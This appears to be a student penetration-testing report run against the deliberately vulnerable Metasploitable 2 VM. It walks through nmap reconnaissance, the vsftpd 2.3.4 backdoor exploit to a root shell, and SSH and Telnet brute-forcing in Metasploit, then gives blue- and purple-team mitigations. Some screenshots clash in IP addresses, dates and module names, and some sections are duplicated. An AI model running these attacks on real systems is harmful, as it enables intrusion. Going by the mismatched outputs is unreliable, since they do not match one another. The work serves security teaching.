

Sri Lanka Institute of Information Technology
BSc Honors in Information Technology
Specializing in Cyber Security



IE3022- Applied Information Assurance

Penetration Testing Report

Student Register Number	Student Name
IT 22083678	SAHAN H.P.T

Table of Contents

Introduction.....	3
Assumption	3
Team roles and responsibilities	4
Red Team's Vulnerability Assessment	5
1. Backdoor Exploit in vsftpd 2.3.4 (FTP Service).....	6
2. Brute Forcing in OpenSSH open Port 22/tcp.....	7
3. Exploit Telnet Services port 23/tcp.....	8
Blue Team Analysis	10
1. Backdoor Exploit (FTP Service).....	10
2. Brute Force Attack on OpenSSH (Port 22).....	11
3. Telnet Brute Force Attack (Port 23).....	12
Purple Team Analysis.....	13
1. Backdoor Exploit (FTP Service).....	13
2. Brute Force Attack on OpenSSH (Port 22).....	13
3. Telnet Brute Force Attack (Port 23).....	14
Response Effectiveness.....	14
Red Team Strengths	14
Blue Team Strengths	14
Purple Team Recommendations	15
Business Impact Assessment.....	15
1. Backdoor Exploit (FTP Service) Impact Analysis	15
2. Brute Force Attack on OpenSSH (Port 22) Impact Analysis	16
3. Telnet Brute Force Attack (Port 23) Impact Analysis	17
CONCLUSION.....	18

Introduction

The more companies rely on technology to operate, the more they put themselves at the mercy of various cybersecurity threats. Cybercriminals continually work out how they can perfect a particular method of attack to exploit any weakness in systems and networks. In this regard, organizations such as Mayo Industries should be proactive regarding cybersecurity through measures that identify security gaps and nip them in the bud before they are utilized. This is where the importance of penetration testing comes into play.

Penetration testing also known as ethical hacking, is a methodical process of replicating attacks on an organization's network, applications and systems. The objective here is to identify weaknesses that could be exploited by real world adversaries. It helps firms to understand their vulnerabilities better measure the strength of their existing security controls, and enhance their general defensive capabilities by simulating these attacks. Unlike vulnerability scans penetration testing consists of a combination of both automated tools and manual techniques carried out by well seasoned security professionals. This way ensures deep analysis is achieved on some of the potential attack vectors uncovering complex vulnerabilities that would have otherwise been overlooked.

This penetration test was sought by Mayo Industries to strengthen its cybersecurity posture reduce the risk of data breaches and ultimately consolidate compliance with industry standards. The recommendations provided herein will help the organization build a more resilient security framework that can withstand current and emerging threats. Fundamentally this exercise is part and parcel of a broader strategy to ensure the reputation, continuity of operations, and customer confidence of Mayo Industries with digital assets protection against cyber threats.

Assumption

For the purpose of this penetration test, I assume that Mayo Industries is represented by a simulated environment based on the Metasploit 2 vulnerable framework.

Team roles and responsibilities

For the effective performance of the Pen test, Rus Group was organized into three teams Red Team, Blue Team and Purple Team each with sharply defined roles and responsibilities.

Red Team: The red team was responsible for conducting the offensive security operations. This team simulated both internal and external attacks against the systems of Mayo Industries to expose weaknesses in them. This can include reconnaissance, vulnerability scanning and exploitation attempts. The Red Team had to test the defenses of Mayo Industries with real tactics techniques and procedures used by adversaries in the wild.

Blue Team: This team was the defender. Their task was to perform analysis on the Red Team's attack activity and determine how well Mayo Industries could respond to the threats posed by the attacks. The Blue Team took part in log analysis system alert monitoring network traffic analysis activities to detect and then respond against the intrusions. They would do this so as to find detection gaps and give recommendations for improvement of the organization's defensive posture.

Purple Team: This team acted as a connection or bridge between the Red and the Blue Teams. They were to analyze the efficiency of the whole penetration testing process. This included assessing the Blue Team's defense strategies the attack techniques by the Red Team and ensuring that the two teams shared their insights. The recommendations provided by the Purple Team assisted in improving the effectiveness of the defensive measures put in place and also improved communication between the attack and the defense teams.

Red Team's Vulnerability Assessment

Scan the identify if a host is online

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
(theekshana@Theekshana)-[~]  
$ nmap -sn 172.20.10.4  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-19 04:34 EDT  
Nmap scan report for 172.20.10.4  
Host is up (0.00069s latency).  
MAC Address: 08:00:27:E7:E2:70 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Nmap done: 1 IP address (1 host up) scanned in 8.69 seconds
```

Use the -sV command option detects the version of the service running all on open ports in system.

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
(theekshana@Theekshana)-[~]  
$ nmap -sV 172.20.10.4  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-19 04:36 EDT  
Nmap scan report for 172.20.10.4  
Host is up (0.000083s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rexecd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  tcpwrapped  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
MAC Address: 08:00:27:E7:E2:70 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 13.81 seconds
```

Next we use Nmap -sV to get target service version of open port 21/tcp.

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
(theekshana@Theekshana)-[~]  
$ sudo nmap -p21 -sV -O 172.20.10.4  
[sudo] password for theekshana:  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-19 04:40 EDT  
Nmap scan report for 172.20.10.4  
Host is up (0.00086s latency).  
  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
MAC Address: 08:00:27:E7:E2:70 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Device type: general purpose  
Running: Linux 2.6.X  
OS CPE: cpe:/o:linux:linux_kernel:2.6  
OS details: Linux 2.6.9 - 2.6.33  
Network Distance: 1 hop  
Service Info: OS: Unix  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 1.90 seconds
```

1. Backdoor Exploit in vsftpd 2.3.4 (FTP Service)

Nmap scanning Identify vsftpd 2.3.4 open port 21/tcp , vsftpd 2.3.4 version have backdoor vulnerabilities. Use to Metasploit to exploit backdoor vulnerability

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
(theekshana@Theekshana)-[~]  
$ msfconsole  
Metasploit tip: Enable verbose logging with set VERBOSE true  
  
# cowsay++  
< metasploit >  
[oo]  
||--|| *  
  
=[ metasploit v6.4.50-dev ]  
+ -- --=[ 2496 exploits - 1283 auxiliary - 431 post ]  
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]  
+ -- --=[ 9 evasion ]
```

Search vsftpd 2.3.4 in Metasploit

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > search vsftpd 2.3.4  
  
Matching Modules  
  
# Name Disclosure Date Rank Check Description  
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor  
Command Execution  
  
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Used (exploit/unix/ftp/vsftpd_234_backdoor) to exploit

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 > use 0  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  
  
Name Current Setting Required Description  
---  
CHOST no The local client address  
CPORT no The local client port  
Proxies no A proxy chain of format type:host:port[,type:host:port][ ... ]  
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT 21 yes The target port (TCP)  
  
Exploit target:  
  
Id Name  
--  
0 Automatic  
  
View the full module info with the info, or info -d command.
```


Set to target IP Address .

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.20.10.4  
RHOSTS => 172.20.10.4  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] 172.20.10.4:21 - Banner: 220 (vsFTPD 2.3.4)  
[*] 172.20.10.4:21 - USER: 331 Please specify the password.  
[+] 172.20.10.4:21 - Backdoor service has been spawned, handling ...  
[+] 172.20.10.4:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (172.20.10.2:45393 -> 172.20.10.4:6200) at 2025-04-19 04:51:44 -0400
```

Exploit the vsftpd backdoor vulnerabilities. We used command "uname" to confirm if we had been successful in accessing the target system.

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.20.10.4  
RHOSTS => 172.20.10.4  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] 172.20.10.4:21 - Banner: 220 (vsFTPD 2.3.4)  
[*] 172.20.10.4:21 - USER: 331 Please specify the password.  
[+] 172.20.10.4:21 - Backdoor service has been spawned, handling ...  
[+] 172.20.10.4:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (172.20.10.2:45393 -> 172.20.10.4:6200) at 2025-04-19 04:51:44 -0400
```

.

2. Brute Forcing in OpenSSH open Port 22/tcp

Nmap scanning Identify OpenSSH open port 22/tcp , OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) version .Use to Metasploit to Brute Forcing

Search SSH_login in Metasploit

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 >  
msf6 > search SSH_login  
  
Matching Modules  
  
# Name Disclosure Date Rank Check Description  
0 auxiliary/scanner/ssh/ssh_login . normal No SSH Login Check Scanner  
1 auxiliary/scanner/ssh/ssh_login_pubkey . normal No SSH Public Key Login Scanner  
  
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey
```

Used (auxiliary/scanner/ssh/ssh_login) to exploit

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 auxiliary(scanner/ssh/ssh_login) > show options  
  
Module options (auxiliary/scanner/ssh/ssh_login):  
  
Name Current Setting Required Description  
-----  
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password  
BLANK_PASSWORDS false no Try blank passwords for all users  
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5  
CreateSession true no Create a new session for every successful login  
DB_ALL_CREDS false no Try each user/password couple stored in the current database  
DB_ALL_PASS false no Add all passwords in the current database to the list  
DB_ALL_USERS false no Add all users in the current database to the list  
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user6r ealm)
```

Set to target IP Address , User name and Password list file for Brute Forcing.

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.20.10.4  
RHOSTS => 172.20.10.4  
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true  
STOP_ON_SUCCESS => true  
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true  
VERBOSE => true  
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/theekshana/Desktop/Linux telnetd/user.txt  
USER_FILE => /home/theekshana/Desktop/Linux telnetd/user.txt  
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/theekshana/Desktop/Linux telnetd/user.txt  
PASS_FILE => /home/theekshana/Desktop/Linux telnetd/user.txt  
msf6 auxiliary(scanner/ssh/ssh_login) >
```

All set , after starting Brute Forcing.

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.20.10.4  
[-] 192.168.64.13:22 - Failed: 'msfadmin:abc123'  
[-] 192.168.64.13:22 - Failed: 'msfadmin:superuser'  
[-] 192.168.64.13:22 - Failed: 'msfadmin:test123'  
[-] 192.168.64.13:22 - Failed: 'msfadmin:password123'  
[+] 192.168.64.13:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux'  
[*] SSH session 1 opened (192.168.106.131:46707 -> 192.168.64.13:22) at 2024-10-05 02:18:53 -0400  
[*] Scanned 1 of 1 hosts (100% complete)  
[*] Auxiliary module execution completed  
msf6 auxiliary(scanner/ssh/ssh_login) >
```

3. Exploit Telnet Services port 23/tcp

Nmap scanning Identify Telnet open port 23/tcp , Brute Forcing and get user login and Password Use to Metasploit to Brute Forcing

Search telnet in Metasploit

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > search telnet  
Matching Modules  
# Name Disclosure Date Rank Check Description  
0 exploit/linux/misc/asus_infosvr_auth_bypass_exec 2015-01-04 excellent No ASUS infosvr Auth Bypass  
Command Execution  
1 exploit/linux/http/asuswrt_lan_rce 2018-01-22 excellent No AsusWRT LAN Unauthenticat  
ted Remote Code Execution  
2 auxiliary/server/capture/telnet . normal No Authentication Capture:  
telnet  
3 auxiliary/scanner/telnet/brocade_enable_login . normal No Brocade Enable Login Che  
ck Scanner  
4 exploit/windows/proxy/ccproxy_telnet_ping 2004-11-11 average Yes CCProxy telnet Proxy Pin  
g Overflow  
5 \ target: Automatic . . .  
6 \ target: Windows 2000 Pro All - English . . .  
7 \ target: Windows 2000 Pro All - Italian . . .  
8 \ target: Windows 2000 Pro All - French . . .  
9 \ target: Windows XP SP0/1 - English . . .  
10 \ target: Windows XP SP2 - English . . .  
11 auxiliary/dos/cisco/ios_telnet_rocem 2017-03-17 normal No Cisco IOS telnet Denial  
of Service  
12 auxiliary/admin/http/dlink_dir_300_500_exec_noauth 2013-02-04 normal No D-Link DIR-600 / DIR-300  
Unauthenticated Remote Command Execution  
13 exploit/linux/http/dlink_dir300_exec_telnet 2013-03-05 excellent No D-Link DIR-645 / DIR-815  
diagnostic.php Command Execution  
14 \ target: CMD . . .  
15 \ target: Linux mipsel Payload . . .  
16 exploit/linux/http/dlink_dir300_exec_telnet 2013-04-22 excellent No D-Link Devices Unauthent  
icated Remote Command Execution  
17 exploit/unix/webapp/dogfood_spell_exec 2009-03-03 excellent Yes Dogfood CRM spell.php Re  
mote Command Execution
```


Used (auxiliary/scanner/telnet/telnet_login) to exploit.

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 exploit(windows/telnet/goodtech_telnet) > show options  
Module options (exploit/windows/telnet/goodtech_telnet):  


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 2380            | yes      | The target port (TCP)                                                                                  |

  
Payload options (windows/meterpreter/reverse_tcp):  


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 172.20.10.2     | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |

  
Exploit target:
```

Set to target IP Address , User name and Password list file for Brute Forcing. All set , after starting Brute Forcing and Find the correct user name and password , start the session and login the Metasploitable 2 system

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.20.10.4  
RHOSTS => 172.20.10.4  
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true  
STOP_ON_SUCCESS => true  
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true  
VERBOSE => true  
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/theekshana/Desktop/Linux telnetd/user.txt  
USER_FILE => /home/theekshana/Desktop/Linux telnetd/user.txt  
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/theekshana/Desktop/Linux telnetd/user.txt  
PASS_FILE => /home/theekshana/Desktop/Linux telnetd/user.txt  
msf6 auxiliary(scanner/ssh/ssh_login) >  
[-] 192.168.64.13:23 - 192.168.64.13:23 - LOGIN FAILED: msfadmin:password123 (Incorrect: )  
[+] 192.168.64.13:23 - 192.168.64.13:23 - Login Successful: msfadmin:msfadmin  
[*] 192.168.64.13:23 - Attempting to start session 192.168.64.13:23 with msfadmin:msfadmin  
[*] Command shell session 1 opened (192.168.106.131:43349 -> 192.168.64.13:23) at 2024-10-04 16:02:51 -0400  
[-] 192.168.64.13:23 - 192.168.64.13:23 - LOGIN FAILED: default:admin (Incorrect: )
```

Finally login the system using telnet service Used to login “telnet [ip address][port]” and used to find user name and password to login Metasploitable 2 system.

```
theekshana@Theekshana: ~  
File Actions Edit View Help  
(theekshana@Theekshana)-[~]  
$ telnet 172.20.10.4  
Trying 172.20.10.4...  
Connected to 172.20.10.4.  
Escape character is '^]'.  
  
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
  
metasploitable login: msfadmin  
Password:  
Last login: Sat Apr 19 06:32:40 EDT 2025 on tty1  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
No mail.  
msfadmin@metasploitable:~$
```

Blue Team Analysis

1. Backdoor Exploit (FTP Service)

Vsftpd 2.3.4 backdoor exploitation would not have been possible had the Blue Team implemented mechanisms of real-time monitoring, logging, and alerting about the FTP service, a highly critical detection gap. The attacks were not visible because there was no insight into what happened on port 21, where the Red Team had exploited a known vulnerability that allowed for remote code execution when connecting to the server with a crafted username and password. Because of this, no monitoring was configured to monitor for suspicious login activity or the creation of a command shell on port 21.

Additionally, no alerting had been set up for anomalous logins via FTP. Because of this, the attacker had acquired remote access undetected, underscoring a limitation in visibility by the Blue Team and an inability to track suspicious FTP activity.

- Immediate Action: Disable the Vulnerable FTP Service Disable vsftpd 2.3.4 Immediately stop the running FTP service on the server to prevent any further exploitation.
- Upgrade the FTP Service :Upgrading vsftpd to the latest available version is the best long-term mitigation.
- Apply Strong Authentication Mechanisms: Implement strong user authentication mechanisms for the FTP accounts and set password complexity rules, like the minimum length of the password, usage of special characters.
- Firewall Controls :Apply the firewall rules to block access to the FTP port 21 /tcp. This way, it allows only trusted IP addresses or subnets that need the services of FTP.
- Encryption for FTP Traffic :If FTP is still needed, upgrade to FTPS to ensure all communications are encrypted with SSL/TLS.
- Regularly Monitor Logs and Alerts: Ensure that the FTP service is configured to log all user activities. This can help identify suspicious login attempts or unusual activity in vsftpd.

2. Brute Force Attack on OpenSSH (Port 22)

Log analysis by the Blue Team highlighted a high volume of failed login attempts after the brute force attack occurred, but the detection was reactive rather than proactive. Without real time alerts set to notify the team during the course of the attack, the delay in action allowed the Red Team to further the brute-force attempts until valid credentials were found thus compromising the SSH service.

This points out the huge detection gap since the Blue Team had not set any threshold or automatic triggers for alerts. For example alerts could be set up to occur after so many failed login attempts coming from the same IP address in a specified time period. Without that automation even though the logs were indeed available the attack was only identified well after the system had already been compromised.

- **Upgrade OpenSSH to the Latest Version:** Upgrade OpenSSH to the latest stable version. This will ensure that you are running a secure version complete with the latest protections.
- **Enforce Strong Password Policies:** Implement a strong password policy forcing the user to create a password containing a mix of uppercase, lowercase, numbers and special characters. This will make it difficult for brute force tools to guess the passwords effectively.
- **. Disable Root Login via SSH :**The enabling of root login can be very risky since root has full privileges. Disabling root login reduces the attack surface to a great extent.
- **Two-Factor Authentication (2FA):** Implement two-factor authentication (2FA) for SSH. Even if an attacker successfully guesses the username and password they will be blocked by an additional verification step.
- **Rate Limiting on SSH Logins :**Prevent brute force attempts coming from the same IP by limiting the number of login attempts within a certain time to a maximum number.
- **SSH Connection Timeouts :**Establish Timeouts for Connections By setting timeouts for SSH sessions, can minimize the chances that abandoned or unattended sessions are exploited.

3. Telnet Brute Force Attack (Port 23)

The direct root cause here was a visibility gap with complete lack of monitoring of this Telnet activity and an outdated protocol that allowed this brute force attack to go unnoticed. That means mechanisms for detection or flags were not available for suspicious Telnet login attempts and no alerts were triggered at the time this attack occurred. Since there was no logging or real time monitoring the Blue Team had no idea about any failed login attempts, successful logins or any other suspicious activity over port 23. They brute forced the credentials and then accessed Telnet undetected.

The incident serves to provide critical risks in that such unmonitored legacy services usually give an attacker an easy entry point. In the post-attack analysis it was found that Telnet was used as the attack vector thus the protocol was disabled immediately on all systems to prevent further exploitation. They further conducted an in-depth infrastructure assessment to ensure no other uses of Telnet were operational, and they completely removed the service from critical infrastructure reconfiguring any legacy systems to make use of more secure alternatives.

- **Immediate Mitigation: Disable Telnet** The easiest countermeasure to prevent brute force attacks is by turning off the Telnet service and replacing it with other secure services such as SSH .
- **Replace Telnet with SSH:** SSH introduces encryption to the data being transmitted, including authentication credentials against eavesdropping and man-in-the-middle attacks. This is a secure alternative to Telnet.
- **Implement Strong Authentication:** Require complex passwords for Telnet users with a minimum length and the inclusion of numbers, uppercase, lowercase and special characters. This reduces the likelihood of successful brute force attacks. Implement account lockout policies that automatically lock an account after a certain number of failed login attempts as a prevention against brute force attacks.
- **IP Address Whitelisting and Access Control :**Use firewall rules to limit Telnet access to trusted IP addresses only. IP tables or any other firewall program that blocks all Telnet traffic aside from known networks might be used for this.
- **Rate Limiting on Telnet Logins :**When restricting how many times a user can log in from the same IP address, you can stop bruteforce attacks.

Purple Team Analysis

1. Backdoor Exploit (FTP Service)

Red Team Findings : The Red Team was able to successfully exploit a known backdoor vulnerability with vsftpd 2.3.4 service and gain unauthorized access to the system port 21. This occurred undetected due to the lack of monitoring and alerting in real time.

Blue Team Response : The Blues had no visibility into the activity of the FTP service. No alerts were configured to monitor malicious login attempts or activity associated with port 6200 for the creation of a command shell. They mitigated the issue by disabling vsftpd and upgrading to a secure version.

Purple Team Recommendations :

Real-Time Monitoring: Enable continuous monitoring and alerting for FTP services, including the capability to log suspicious login attempts and detect command shell activity on non-standard ports.

Improved Authentication : Improve FTP security by setting password policies, enabling the encryption of FTP FTPS and setting firewall controls to make sure FTP access is only granted on trusted IP addresses.

2. Brute Force Attack on OpenSSH (Port 22)

Red Team Findings : The attack against SSH was conducted through a brute force method where poor credentials allowed unauthorized access to the applications.

Blue Team Response : The attack had been detected by the Blue Team only after reviewing the logs while the real time action did not happen. As a response it involved resetting passwords and enforcing SSH key based authentication.

Purple Team Recommendations : Automated Response Employ automated defense tools such as Fail2Ban to block the IP address after a certain number of login attempts. Real time alerting using SIEM for failed login events.

Rate Limiting and Account Lockout :Apply rate limits to SSH login attempts introduce account lockout policies which will impede brute force attacks.

3. Telnet Brute Force Attack (Port 23)

- **Red Team Findings :**The Red Team leveraged the presence of the outdated Telnet service to gain access to the system through a brute force attack.

- **Blue Team Response:** There was no monitoring for Telnet so this attack surface was quite latent. The Blue Team disabled Telnet and replaced it with SSH.

Purple Team Recommendations:

Legacy Service Monitoring: Legacy services if needed include monitoring of Telnet. Segment them in the network and limit access to trusted IP addresses only in case they cannot be replaced.

Replace Legacy Protocols: Replace insecure services like Telnet with secure services like SSH and regularly review all the legacy services.

Response Effectiveness

Red Team Strengths

- Used real-world attack methods (Metasploit modules, brute-force, reverse shell).
- Covered multiple attack vectors: network, service-level, and web app.
- Demonstrated proper exploitation of known CVEs.

Areas to Improve :

- Red Team could diversify payloads or introduce evasion techniques.
- Post-exploitation activities were not deeply explored.

Blue Team Strengths

- Logs were properly configured and retained.
- Detection of brute-force attacks and scanner behavior was thorough.
- Correlation between multiple log sources (auth.log, error.log, access.log) was achieved.

Areas for Improvement:

- No indicators of alerting or real-time monitoring, manual analysis was required.
- No evidence of any blocking or mitigation (firewall, fail2ban).
- File upload was not prevented or flagged by WAF or AV; the reverse shell was missed.

Purple Team Recommendations

1. Enhance Blue Team's Post-Exploitation Visibility
 - Enable full session logging (e.g., TTY, bash history) for shell access.
 - Use EDR tools to monitor suspicious processes and file activity.
2. Improve Real-Time Monitoring
 - Set up SIEM to ingest logs and raise alerts for brute force, scanning, and unusual behavior.
3. Red Team Expansion
 - Include lateral movement, privilege escalation, or data exfiltration in future attack simulations.

Business Impact Assessment

1. Backdoor Exploit (FTP Service) Impact Analysis

Financial Impact

Revenue Loss : Downtime of FTP services due to an attack could lead to disruption in the transferring of data leading to delays in business operations and possible loss of revenue.

Fines and Penalties : If sensitive data related to customers or business operations is compromised, penalties under relevant regulations, such as non compliance with GDPR laws for protection of information will most likely be imposed on the organization.

Recovery Costs : Incident response patching, and recovery costs may include legal fees and compensation to customers affected.

Operational Impact

Data Breach : Business critical data loss or compromise due to unauthorized sensitive file access via FTP.

Service Disruption: Compromise or Unavailability of FTP Service FTP service compromise unusable with resultant delays in key business processes related to customer file transfers or internal sharing of data.

IT Resource Strain : Extra work for the IT staff who have to restore the services investigate the breach and secure the systems.

2. Brute Force Attack on OpenSSH (Port 22) Impact Analysis

Financial Impact

Direct Costs : Extra costs due to the unavailability of the system, re deployment of resources and deployment of response measures in case of unauthorized access.

Indirect Costs : Possible fines for breach of compliance in case sensitive data is compromised due to unauthorized access. Additional costs associated with implementing security measures on an emergency basis and the recovery of systems.

Loss of Revenue : This disruption to key IT services could impact the continuity of business and this in turn could lead to delays in project delivery and revenue loss

.Operational Impact

Service Disruption : That is if successful a brute force access might indeed compromise control of servers leading to either a shutdown or disruption of critical business services.

Data Breach : OpenSSH Compromise This will lead to the attackers being able to access and manipulate sensitive information or even critical infrastructure.

Strain on IT Resources : Additional workload for IT personnel in responding investigating and securing compromised systems.

Reputational Impact

Loss of Trust : A vulnerability in the systems because of OpenSSH will result in losing the confidence of clients partners and stakeholders.

Public Relations Damage : Publicly disclosed security breaches also tend to attract adverse media attention that can harm an organization's reputation and affect its customer relationships.

3. Telnet Brute Force Attack (Port 23) Impact Analysis

Financial Impact

Recovery Costs : Costs to investigate the attack secure compromised systems and migrate to more secure protocols.

Revenue Loss : Disruption to remote management capabilities delays vital operations therefore impacting productivity and revenue generation.

Penalties : If sensitive information becomes exposed because of unauthorized access then regulatory fines and penalties can be levied based on non-compliance.

Operational Impact

Service Disruption : This unauthorized access could mean attackers manipulate or disable systems leading to serious downtime and service interruptions.

Data Compromise : The attack will therefore have unauthorized access to sensitive system configurations and data hence compromise protected critical business information.

IT Resource Strain : Increase the IT team's workload in terms of responding and securing the violated systems affecting other key IT services.

Reputational Impact

Loss of Client Trust : A system compromise via Telnet will lead to loss of trust from clients stakeholders and business partners.

Loss of Client Trust : This will make an organization develop bad publicity through a Telnet breach which hurts its image and credibility.

CONCLUSION

It showed a number of key vulnerabilities in the network and applications that would indicate clearly where Mayo Industries needed to make improvements for the organization's cybersecurity posture to be enhanced. These when exploited could lead to unauthorized access data breaches and lots of operational disruption. This included poor authentication mechanisms aging software versions and a lack of monitoring and alerting.

Risk associated with it can be reduced by following a few steps and actions mentioned below:

- Patch all known vulnerabilities of network services and applications.
- Strengthening mechanisms of authentication, including enforcement of password policy and multi-factor authentication.
- This includes putting in place an extensive monitoring and alert system to monitor for suspect activities in real-time.
- Perform periodic vulnerability testing and penetration testing to keep up with newly emerging threats.

The report results clearly indicate that though the company has implemented a reasonable baseline of security controls improvement of its defense strategies proactively is called for to protect against threats that are becoming increasingly sophisticated